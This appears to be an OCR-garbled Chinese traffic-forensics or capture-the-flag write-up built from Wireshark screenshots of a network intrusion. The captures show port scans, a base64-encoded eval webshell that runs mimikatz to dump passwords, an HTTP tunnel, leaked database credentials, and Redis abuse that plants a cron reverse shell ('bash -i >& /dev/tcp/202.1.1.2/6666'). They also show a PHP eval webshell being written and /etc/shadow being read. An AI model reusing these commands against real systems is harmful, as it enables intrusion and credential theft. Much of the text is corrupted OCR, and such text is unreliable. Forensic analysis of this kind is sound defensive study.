<br/>Scanning IP 192.168.3.1<br/>
15

Port: 80 is open<br/>

<br/>Scanning IP 192.168.3.6<br/>



15

Port: 80 is open<br/>

17

Port: 3306 is open<br/>

21

7R 5% A LR IB AR AR
8. PR B SR HI 0 BR AR (T R -

9. BB F A4 iy & BUOCHFEAT B P9 R 13486

Msysteminfoi& [5] AT & H
RE, ERUL, REEHF—AFHML) phpinfo ATk

scan.php

10. 35 55 R AR 5588 2180 T MR i 1 (3 15 AN BUKR, R A% BROT)
BITH R 437 192.168.1.1-192.168.3.255 1 B ik 55 2% 28 WX AW B 2 18], 3F LA o D T TSR AR J LA Z ) i %

o

Hman

M data2_00004_20180208100703

() #\EE) WEV) BEEG) MERC) STA) FHiHS) miE(Y) W) TE(T) FEEnH)
Am 1@ RE QeamEF S EQAQ]QE
[A[http
Ho. Protocol Tine Source Destination Length Info
143915 HTTP 10:08:55.930004 202.1.1.2 192.168.1.74 246 POST /my/tunnel.nosocket.php?cmd=disconnect HTTP/1.1
143917 HTTP 10:08:55.930030 202.1.1.2 192.168.1.74 258 POST /my/tunnel.nosocket.php?cmd=read HTTP/1.1
143923 HTTP 10:08:55.931084 202.1.1.2 192.168.1.74 351 POST /my/tunnel.nosocket.php?cmd=forward HTTP/1.1 (application/octet-stream)
143943 HTTP 10:08:55.955507 192.168.1.74 202.1.1.2 530 HTTP/1.1 280 OK
143945 HTTP 10:08:55.955837 192.168.1.74 202.1.1.2 617 HTTP/1.1 200 OK (text/html)
143947 HTTP 10:08:55.955920 192.168.1.74 202.1.1.2 456 HTTP/1.1 200 OK
143949 HTTP 10:08:55.956248 192.168.1.7. 202.1.1.2 456 HTTP/1.1 200 OK
143951 HTTP 10:08:55.956440 192.168.1.7 202.1.1.2 457 HTTP/1.1 200 OK
143953 HTTP 10:08:55.956793 192.168.1. 202.1.1.2 530 HTTP/1.1 200 OK /
—+ 143955 HTTP 10:88:55.956839 192.168.1.74 192.168.2.66 Y 188 HEAD /admi-'i/ HTTP/1.1
143957 HTTP 10:08:55.957393 202.1.1.2 192.168.1.74 258 POST /my/tunnel.nosocket.php?cmd=read HTTP/1.1
+— 143961 HTTP 10:08:55.958157 192.168.2.66 192.168.1.74 213 HTTP/1.1 4e4 Not Found
143967 HTTP 10:08:55.965201 202.1.1.2 192.168.1.74 258 POST /my/tunnel.nosocket.php?cmd=read HTTP/1.1
143969 HTTP 10:08:55.965968 202.1.1.2 192.168.1.74 258 POST /my/tunnel.nosocket.php?cmd=read HTTP/1.1
143975 HTTP 10:08:55.969348 202.1.1.2 192.168.1.74 258 POST /my/tunnel.nosocket.php?cmd=read HTTP/1.1
143979 HTTP 10:08:55.971210 202.1.1.2 192.168.1.74 246 POST /my/tunnel.nosocket.php?cmd=disconnect HTTP/1.1
143987 HTTP 10:08:55.978099 202.1.1.2 192.168.1.74 266 POST http://202.1.1.1/my/tunnel.nosocket.php?cmd=connect&target=192.168.2.66&port=80 HTTP/1.1
143989 HTTP 10:08:55.978737 202.1.1.2 192.168.1.74 258 POST /my/tunnel.nosocket.php?cmd=read HTTP/1.1
144601 HTTP 10:08:55.991265 192.168.1.74 192.168.2.66 113 HEAD /admin/inc/config.inc HTTP/1.1 \
144005 HTTP 10:08:55.992218 192.168.2.66 192.168.1.74 213 HTTP/1.1 4@4 Not Found \
144021 HTTP 10:08:56.017452 192.168.1.74 202.1.1.2 457 HTTP/1.1 200 OK
144023 HTTP 10:08:56.017584 192.168.1.74 202.1.1.2 538 HTTP/1.1 200 OK
144025 HTTP 10:08:56.017875 192.168.1.74 202.1.1.2 456 HTTP/1.1 200 OK
56 1 1.1.2

144927 HTTP

10:08:

.018083 192.168.

BT UABE 45382 ip 192.168.2.66
M _ETHiscan.phpik 8] 45 57 41,
1. BEPAT I 4 A & K administrator ¥ 25 7% £/ 77 31 SO
REHHERS3, BEHAmimikatz dump RS 2% C 3G

.74

202,

457 HTTP/1

.1 200 OK

Bmg R k554527778 T 80 3306 6379



M data2_00003_20180208095527

MR \EE) WEN) BESG) RO S1TA)

Sit(S) =BiE(Y) FEEE(W)

TEmM #&EH)

Am:® RE Qe=sEFE S Qe qE
No. Protocel Time Source Destination Length Info
155876 HTTP 09:59:19.610363 192.168.1.74 202.1.1.2 291 HTTP/1.1 200 0K (text/html)
156917 HTTP 99:59:20,701817 202,1.1.2 192.168.1.74 903 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
156933 HTTP 09:59:20.708069 192.168.1.74 202.1.1.2 744 HTTP/1.1 200 OK (text/html)
161899 HTTP ©09:59:28.002781 202.1.1.2 192.168.1.74 1005 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
161972 HTTP 09:59:28.154675 192.168.1.74 202.1.1.2 291 HTTP/1.1 200 OK (text/html)
165398 HTTP 09:59:33.273451 202.1.1.2 192.168.1.74 1049 POST /abc.php HTTP/1.1 (applicafion/x-www-form-urlencoded)
165402 HTTP 09:59:33.274401 192.168.1.74 202.1.1.2 539 HTTP/1.1 200 OK (text,"html/
165836 HTTP 09:59:34,238956 202.1.1.2 192.168.1.74 691 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
i 165846 HTTP 09:59:34.242606 192.168.1.74 202.1.1.2 1211 HTTP/1.1 200 OK (text/html)
187524 HTTP 10:00:05,120612 202,1.1.2 192.168.1.74 935 POST /abc.php HTTP/1.1 (appBication/x-www-form-urlencoded)
187622 HTTP 10:00:05.286318 192.168.1.74 202.1.1.2 309 HTTP/1.1 200 0K (text/html)
197634 HTTP 10:00:19.688621 202.1.1.2 192.168.1.74 959 POST /abc.php HTTP/1.1 (applica ;on/x—www—form—urlencoded)
Content-Type: text/html\r\n

\r\n

[HTTP response 1/1]
[Time since request: @.003650000 seconds]
[Request in frame:

165836]

->|\r\n
LR
SN
o[\ ##
#H\ / ##
P v
" HHREHE

\rin

\rin
\rin
Session

User Name
Domain

File Data: 3871 bytes
v Line-based text data: text/html

mimikatz 2.1 (x86) built on Jan 21 2017 @1:21:51\r\n
"A La vie, A L'Amour”\r\n
/% % F\r\n

Benjamin DELPY ~gentilkiwi™ ( benjamin@gentilkiwi.com )\r\n
http://blog.gentilkiwi.com/mimikatz
with 2@ modules * * */\r\n

Authentication Id :

mimikatz(commandline) # privilege::debug\r\n
Privilege '26' OK\r\n

mimikatz(commandline) # sekurlsa::logonpasswords\ri\n

0 ; 996 (000POEEO:eERAe3ed)\r\n

Service from @\r\n
METWORK SERVICE\r\n
NT AUTHORITY\r\n

(oe.eo)\r\n

@ 7 Text item (text), 42 FH

|| $48: sosees - 285

Bt B ¥ administrator i) & 5 0RA7 2 30 P BOBRAE BUAE X PRI

A data2_00003_20180208095527

SF(F) \EE) WEV) BEEG) #ERC) oiT(A) SHmiS) miE(Y) FEEW) TR FEIH)
AR 3@ RE Qe=»EF s = QaqaE
[A]http &&ip. addr ==202.1.1. 2
Ho. Frotocel Time Source Destination Length Info
110989 HTTP 09:58:14.,067497 192.168.1.74 202.1.1.2 60 HTTP/1.1 200 0K (text/html)
134805 HTTP 09:58:47.887380 202.1.1.2 192.168.1.74 662 POST /my/scan.php HTTP/1.1 (application/x-www-form-urlencoded)
142999 HTTP ©09:58:59.988419 202.1.1.2 192.168.1.74 895 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
143085 HTTP 09:58:59,994467 192.168.1.74 202.1.1.2 286 HTTP/1.1 200 OK (text/html)
143245 HTTP ©9:59:00.516929 202.1.1.2 192.168.1.74 895 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
143247 HTTP 09:59:00.523094 192.168.1.74 202.1.1.2 347 HTTP/1.1 2@@ OK (text/html)
143941 HTTP 99:59:01.430852 202.1.1.2 192.168.1.74 9@3 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
143943 HTTP ©9:59:01.450334 192.168.1.74 202.1.1.2 729 HTTP/1.1 2@@ OK (text/html)
155872 HTTP ©09:59:19.604277 202.1.1.2 192.168.1.74 9@5 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
155876 HTTP 09:59:19.610363 192.168.1.74 202.1.1.2 291 HTTP/1.1 200 OK (text/html)
156917 HTTP ©9:59:20.701817 202.1.1.2 192.168.1.74 903 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
156933 HTTP 09:59:20.708069 192.168.1.74 202.1.1.2 744 HTTP/1.1 2@@ OK (text/html)
161899 HTTP ©09:59:28.002781 202.1.1.2 192.168.1.74 1@e5 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
i 161972 HTTP 09:59:28,154675 192.168.1.74 202.1.1.2 291 HTTP/1.1 2@@ O text/html)
165398 HTTP ©09:59:33.273451 202.1.1.2 192.168.1.74 1849 POST /abc.php HTTP/ (application/x-www-form-urlencoded)
165402 HTTP ©9:59:33.274401 192.168.1.74 202.1.1.2 539 HTTP/1.1 2@ OK wgtext/html)
165836 HTTP ©9:59:34,238956 202.1.1.2 192.168.1.74 691 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
165846 HTTP 09:59:34.242606 192.168.1.74 202.1.1.2 1211 HTTP/1.1 20@ OK (text/html)
187524 HTTP 10:00:05,120612 202.1.1.2 192.168.1.74 935 POST /abc.php HTTP/1.1 (application/x-www-form-urlencoded)
187622 HTTP 10:00:05.286318 192.168.1.74 202.1.1.2 309 HTTP/1.1 200 OK (text/html)
197/34 HTTP 14:00:19. 22621 202 1.1 .7 192 .16R.1.74 959 POST /ahc.nhn HTTP/1.1  (annlication/x-—www-form-urlencoded)
Host: 202.1.1.1\r\n
Content-Length: 7@9\r\n
Connection: close\r\n
Cache-Control: no-cache\r\n
\ri\n
[Full request URI: http://2@2.1.1.1/abc.php]

[HTTP request 1/1]
[Response in frame:

161972]

File Data: 7@9 bytes

~ HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "ge" = "@ewval(/*12345%/base64_decode($_POST[z@]));"
Form item: "ze" G1luavezZXQoIMRpe3BsYX1TZXIyb3IzIiwiMCIp0OBzZXRTdG1tZVIsaWlpdCgwKTtAc2veX21h721jX3F1b3R1c19ydW50akW11KDApO2VjaG8oTie+CIpOz ske
Form item: "z1" "y21k"
Form item: "z2" = "Y2QgL2QgIkM6XFdXVixteVxtaWlpXCImbwWltawthdHouzXhlICIicHIpdmlsZWdlOjpkZWI1ZyIiICIic2VrdXIsc2E60MXVZ29ucGFze3dvemRzIiIgZXhpdCA+F
<
- % o o P en e — A




cd /d "C:\WWW\my\mimi\"&mimikatz.exe ""privilege::debug
[S]&cd&echo [E]

sekurlsa::logonpasswords™ exit >> log.txt&echo

12. R %2311 R 4085 3 i administrator ) 2 5% & 4

M _E T mimiditzi)log 7] &administrator ) 25 7% 4 Simplexue 123

13. BE BT I AN Bip 9t BBl (% 200300000000~ 306 306 0. xx) 192.168.1.1~192.168.3.255
14. 17 %5281 Bomysql Hiroot J 7 19 # #3424

mysql 1K1 8 — R &7 tEconfig Bl & X 1+

M data2_00004_20180208100703
THF) BEE) WEN) BENG) WO SA) STS) EEY) FE0W) TE(T) EEH)
AmZ© REQe=2EFES 2 QAQQE

[A](http. request. uri contains “config”)
=

No. Frotocol Time Source Destination Length Info
75341 HTTP 10:08:32.751090 192.168.1.74 192.168.2.66 158 HEAD /CuteSoft Client/CuteEditor/Load.ashx?type=image&file=//web.config HTTP/1.1
113060 HTTP 10:08:45.290511 192.168.1.74 192.168.2.66 1083 HEAD /Web.config HTTP/1.1
130778 HTTP 10:08:51.564261 192.168.1.74 192.168.2.66 1@7 HEAD /config.asp.bak HTTP/1.1
132140 HTTP 10:08:51.932729 192.168.1.74 192.168.2.66 113 HEAD /fadmin_config.asp.bak HTTP/1.1
143295 HTTP 10:08:55.662872 192.168.1.74 192.168.2.66 119 HEAD /admin/include/admin.config HTTP/1.1
144001 HTTP 10:08:55.991265 192.168.1.74 192.168.2.66 113 HEAD /fadmin/inc/config.inc HTTP/1.1
146403 HTTP 10:08:56.849035 192.168.1.74 192.168.2.66 115 HEAD /data/sql2ee9car.config HTTP/1.1
146553 HTTP 10:08:56.889587 192.168.1.74 192.168.2.66 123 HEAD /database20@9/sql2ee9car.config HTTP/1.1
147187 HTTP 10:08:57.0888064 192.168.1.74 192.168.2.66 119 HEAD /database/sql2ee9car.config HTTP/1.1
298294 HTTP 10:10:04.959619 192.168.1.74 192.168.2.66 109 HEAD /admin_config.php HTTP/1.1
301546 HTTP 10:10:06.339741 192.168.1.74 192.168.2.66 1083 HEAD /config.php HTTP/1.1
34Q974 HTTP 10:10:23.597487 192.168.1.74 192.168.2.66 104 HEAD /configs.php HTTP/1.1
450122 HTTP 10:11:11.816487 192.168.1.74 192.168.2.66 109 HEAD /admin/config.php HTTP/1.1
—\-» 457966 HTTP 10:11:15.394275 192.168.1.74 192.168.2.66 113 HEAD /fadmin/inc_config.php HTTP/1.1
472649 HTTP 10:11:21.962271 192.168.1.74 192.168.2.66 113 HEAD /admin/z9v8config.php HTTP/1.1

A] LAhttpid 38 /5 25 113060%14726492 [H fficonfigid Sk K respone, B3 B it S root

http contains "root"



‘ data2_00004_20180208100?03
IR F|EE) R\ BEEG) BERC) SiTA) FERS) miE(yY) FoEWw) TR FEIH)
AR 2@ RE Qe EFI - =EQAQaE

[A]http contains “root”

i

>~

1514 Continuation

589145 HTTP 16:13:30.168992 192.1638.

74 202.1.1.

1514 Continuation

. . . L

74 202.1.1.2

.66 192.168.1.74 60 HTTP/1.1 200 OK (text/html)
2
2

589743 HITP 10©:13:308.233186 192.168.
667448 HTTP 19:15:06.585383 192.168.
667732 HTTP 19:15:06.785667 192.168.
+ 685147 HTTP 1©:15:26.256547 192.168.

74 202.1.1.
.74 282.1.1.

60 HTTP/1.1 200 OK (text/html)
682 HTTP/1.1 20@ OK (text/html)

No. Frotocel Time Source Destination Length Info
69511 HTTP 10:08:30.662659 202.1.1.2 192.168.1.74 355 POST /my/tunnel.nosocket.php?cmd=forward HTTP/1.
69815 HTTP 10:08:30.827721 192.168.1.74 192.168.2.66 104 HEAD /webroot.rar HTTP/1.1
70119 HTTP 19:98:30.899946 202.1.1.2 192.168.1.74 355 POST /my/tunnel.nosocket.php?cmd=forward HTTP/1.
70273 HTTP 1€:08:30.931271 192.168.1.74 192.168.2.66 104 HEAD /wwwroot.rar HTTP/1.1
85514 HTTP 10:08:35.964453 202.1.1.2 192.168.1.74 355 POST /my/tunnel.nosocket.php?cmd=forward HTTP/1.
86638 HTTP 10:08:36.380050 192.168.1.74 192.168.2.66 104 HEAD /wwwroot.zip HTTP/1.1
A86172 HTTP 10:11:32.664707 192.168.2.66 192.168.1.74 60 HTTP/1.1 200 OK (text/html)
486196 HTTP 10:11:32.693182 192.168.1.74 202.1.1.2 6@ HTTP/1.1 200 OK (text/ html)
546380 HTTP 10:12:42.445266 192.168.2.66 192.168.1.74 1514 Continuation
546512 HTTP 10:12:42.455637 192.168.2.66 192.168.1.74 1514 Continuation
546758 HTTP 10:12:42,591271 192.168.1.74 202.1.1.2 60 HTTP/1.1 200 OK (text/html)
1 2
1.7 5
1
2
1
1

v Line-based text data: text/html
->|<?php\r\n
$mydbhost="1ocalhost";\r\n
$mydbuser="root";\r\n
$mydbpw ="windpasssgl”;\r\n
$mydbname="516cms"; \r\n

$conn === EXn
$mydbcharset="GBK" ; \r\n
$web_picdir="../upload”;\r\n

\r\n

$smarty_template dir = './templates/';\r\n
$smarty_compile dir = './templates_c/";\r\n
$smarty_config dir = './configs/';\r\n
$smarty_cache_dir = './cache/";\r\n
$smarty_caching = false;\r\n
$smarty_delimiter = explode(™|™,"{|}");\r\n
\r\n

\r\n

15. BEERF WP EE T MBS (FERshell2)5), 185 M4z
Hmas

tcp and ! (tcp.port == 80) and !(tcp.port == 443) and !(tcp.stream eq 98) and ip.addr == 202.1.1.2

1B ERtepiit



#f Wireshark - I8 TCP ¥ (tcp.stream eq 167) - data2_00005_20180208101730

bash: no job control in this shell
[root@cloude ~]# whoami
wwhoami

root

[root@cloude ~]# cd /var/www/html
ccd /var/www/html
[root@cloude html]# 1s
11s

494 . html

acloud

act alipay push.php
act alipay receive.php
actions

active.php

admin

admin.php

ajax.php

alipay.php

api

apps

apps.php

attachment

cate.php

ck.php

ckquestion.php
columns.php

connexion

data

taq.php

favicon.ico

foarumen nhn

H] & B 45 5 B 42 var/ www/html/
16. iR 55 23 2 web M v J5 & K 5 2500 (45 =X K 5 /425 50

http contains "admin" || http contains "pass"



) 3 Y) 3
Am i@ RE QenEF S aaf
N [nttp contains “admin’ | [http contains “pass” = o] kst o+
No. Frotocol  Time Source Destination Length Info ~
165518 HTTP  18:31:17.720590 192.168.2.66 192.168.1.74 1054 HTTP/1.1 208 OK (text/html)
165502 HTTP  10:31:17.820714 192.168.1.74 202.1.1.2 1450 HTTP/1.1 200 OK (text/html)
175542 HTTP  16:31:29.203468 192.168.2.66 192.168.1.74 532 HTTP/1.1 I
175636 HTTP 10:31:29,295737 192.168.2.66 192.168.1.74 532 HTTP/1.1 M Wireshark - Line-based text data (data-text-lines) - data2_00006_20180208102855 -
175868 HTTP  16:31:29.523097 192.168.1.74  2062.1.1.2 936 HTTP/1.1|
175910 HTTP 10:31:29.558819 192.168.1.74 202.1.1.2 936 HTTP/1.1 ® .,...,.,...,.,...,.,...,.,.,.,...,.,...,.,...pwfcrums R
181716 HTTP  10:31:36.667067 192.168.2.66 192.168.1.74 986 HTTP/1.1| |* . ..., 1......./data/sql CONFig.phP..seerernreensernsernses
181764 HTTP  16:31:36.780169 192.168.1.74 202.1.1.2 1391 HTTP/1.1 PR PR Full Control .
185256 HTTP  16:31:40.660428 192.168.2.66 192.168.1.74 1054 HTTP/1.1
185578 HTTP  18:31:40.982869 192.168.1.74 202.1.1.2 1460 HTTP/1.1 /data/sql_config.php
185585 HTTP  10:31:40.085473 192.168.2.66 192.168.1.74 1054 HTTP/1.1| 644 cevalTouiiiviiiiinnnniereee N iiiiiiiiein e iiiaaiaies
185716 HTTP  18:31:41.106727 192.168.1.74 202.1.1.2 1450 HTTP/1.1| | - -2 seeeees /data/sql_config.php.....
187352 HTTP  10:31:43.682166 192.168.2.66 192.168.1.74 583 HTTP/1,1| | -: - -$manager = array(’admin’); $manager
187434 HTTP  10:31:43.786859 192.168.2.66 192.168.1.74 583 HTTP/1.1 f”"y( admin®, "phpuind®);. .
187538 HTTP  1@:31:43.887536 192.168.1.74 202.1.1.2 987 HTTP/1.1| |, ~ -$manager_pwd = array('21232f297a57a5a743894a0edago1fc3"); .. . .
. .$manager_pwd = array('21232f297a57a5a743894a0e4a801fc3","'21232f297a57a5a743894a0e4a801fc3");.
187634 HTTP  10:31:43.064235 192.168.1.74 202.1.1.2 988 HTTP/1.1| |«
192516 HTTP  10:31:40.496861 192.168.2.66 192.168.1.74 1054 HTTP/1.1| | 31532f20745735a74389420042801C3 . admin. . .mds. o
102576 HTTP  18:31:40.534920 192.168.2.66 192.168.1.74 1054 HTTP/1.1
192792 HTTP  16:31:49.795628 192.168.1.74  202.1.1.2 1459 HTTP/1.1 "c2php echo mdS("..eeeian.. T2 PPN 1 <15 S /
192800 HTTP  10:31:49,796405 192,168.1.74 202.1.1.2 1459 HTTP/1.1| [£StaPhP. v e s M5 1 uturaissssstnreininrninisssesreininnninsss test.phpa. .
- 230497 HTTP  10:32:31.270381192.168.2.66 192.168.1.74 702 HTTP/1. 1%L
| 230617 HTTP  10:32:31.383791 192.168.1.74 202.1.1.2 1107 HTTP/1.4f | /7 cveveeeeeein
$manager = array('admin’,'root"');
Content-Type: text/html; charset=UTF-8\r\n JF e s
\r\n $manager_pwd = array( ' T ON S IR T I I ELERELge ', ‘ 142a1caedefsodcob70042d133cbcaed’ ) ;
[HTTP response 1/1]
[Time since request: 0.001131000 seconds] Lz
Request in frame: 230487 e Tovieieie e
File Data: 3374 bytes */
v Line-based text data: text/html &db_hastueh = 17
Y | < ?php\r\n Ml?l?dil Lina=bazed terr dats (ﬂlfl1!rt—]lﬂ!5}, 357 FH.
e BEA -| By [asc1r - o
* \346\225\260\346\215\256\345\272\223\347\233\270\345\205\263\344\277\241 & |
[truncated]* \345\205\267\344\275\223\346\225\260\345\200\274\357\274\214 e ) FR— Close
*/\r\n

JIR 5548 27F J5 11637 9% 1 B 1% R redisky, SR % B i redisRIRAL) H & Fshell R 5 247 5 L ERAE R .

B4 R iZ i #Etep.port == 6379
HIEBANBEEHIAE
HIEa5



[ Wireshark - i&& TCP 5% (tcp.stream eq 98) - data2_00005_20180208101730 — O -

$1 ~
"
$51

¥ % % % % bash -1 >& /dev/tcp/202.1.1.2/6666 9>&1

+0K

*4

$6
config
£3

set

£3

dir
$16
{var/spool/cron/
+0K

it

$6
config
$3

set
%10
dbfilename
$4
root
+0K

*1

$4
save
+0K

EOW Al so BRE HE 1 run(s)
intire conversation (11 kE) - DRFEHIERA 45CII - b

4 | | [EHT—m|

kil FTE Save as- Back Clase Help

***** bash -i >& /dev/tcp/202.1.1.2/6666 0>&1
SOB E fEredis AR ALY iH 7 & #shell fipFni K /£202.1.1.2F16666
18. BEERINR EPATHIEE — K & =24

cd /var/www/html



#f Wireshark - I8 TCP ¥ (tcp.stream eq 167) - data2_00005_20180208101730

bash: no job control in this shell
[root@cloude ~]# whoami
wwhoami

root

[root@cloude ~]# cd /var/www/html
ccd /var/www/html
[root@cloude html]# 1s
11s

494 . html

acloud

act alipay push.php
act alipay receive.php
actions

active.php

admin

admin.php

ajax.php

alipay.php

api

apps

apps.php

attachment

cate.php

ck.php

ckquestion.php
columns.php

connexion

data

taq.php

favicon.ico

foarumen nhn

191855 23 2y root F 25 4 = A4



M Wireshark - 8% TCP & (tcp.stream eq 167) - data2_00005_20180208101730

search.php \
sendemail.php
sendpwd.php
show.php
simple
sitemap.php
slide.php
sort.php
template
tenpay.php
thread.php
trade.php

u

uc_client

u.php

userpay.php ‘f”,f’
y.php

[root@cloude html]# echo "<?php eval($ POST[a]);'>indexs.php
eecho "<?php eval($_PosST[a]);'>indexs.php

You have new malil in /var/mail/root

[root@cloude html]# cat indexs.php

ccat indexs.php

L2nhn eval (s pOSTIall.

[root@cloude html]# cat /etc/shadow

ccat /etc/shadow
root:$6$pIIpnrap9xQnDvB/$dGInXpT1mMIzZAD7KOWiE12rKVRgqCleL9u528e/
Bgc2AIblZ311bDXfkLZhFehu/C3eCt/i135tiQP1DFccV00:17030:0:99999:7: ::

D1n: " :15080:0:09990:7:::
daemon:*:15980:0:99999:7:::
adm: *:15980:0:99999:7:::
1p:#:15980:0:99999:7:::

20. 2 % 5] jR 45 882 5 Awebshell # 5




M Wireshark - 8% TCP 5% (tcp.stream eq 167) - data2_00005_20180208101730 — O >

search.php ‘hhhh“HnH ~
sendemail.php

sendpwd . php

show.php

simple

sitemap.php

slide.php

sort.php

template

tenpay.php

thread.php

trade.php

u

uc_client

u.php

userpay.php

y-php

[root@cloude html]# echo "<?php eval($ POST[a]); ' >indexs.php
eecho '<?php eval($ POST[a]); ' '>indexs.php

You have new mail in /var/mail/root

[root@cloude html]# cat indexs.php

ccat indexs.php

<?php eval($ POST[a]);

[root@cloude html]# cat /etc/shadow

ccat /etc/shadow
root:$6$plIpnrap9xQnDvB/$dGInXpT1mMIzZAD7KOWiE12rKVRgqCleL9u528e/
Bgc2ATbl7311bDXfkLZhFehu/C3eCt/1135tiQP1DFCcCcV0B:170830:08:99999:7: ::
bin:*:15980:©:99999:7:::

daemon:*:159808:98:99999:7:::

adm:*:15980:8:99999:7:::

1p:#:15980:9©:99999:7:::

eune* F+ I EOQRA A QQOQ0 T+« »

21.pcapH i Lkip & 1% it o ARPAL (245 538, B TR HEF )
Tofzarpf, T LAk Iisgratuitous A Atrue. FFH MM arp.isgratuitous == true ] AR B BHER. - -
g, RERERE. . .

3 T https://www.cnblogs.com/1go0/p/10065813.html
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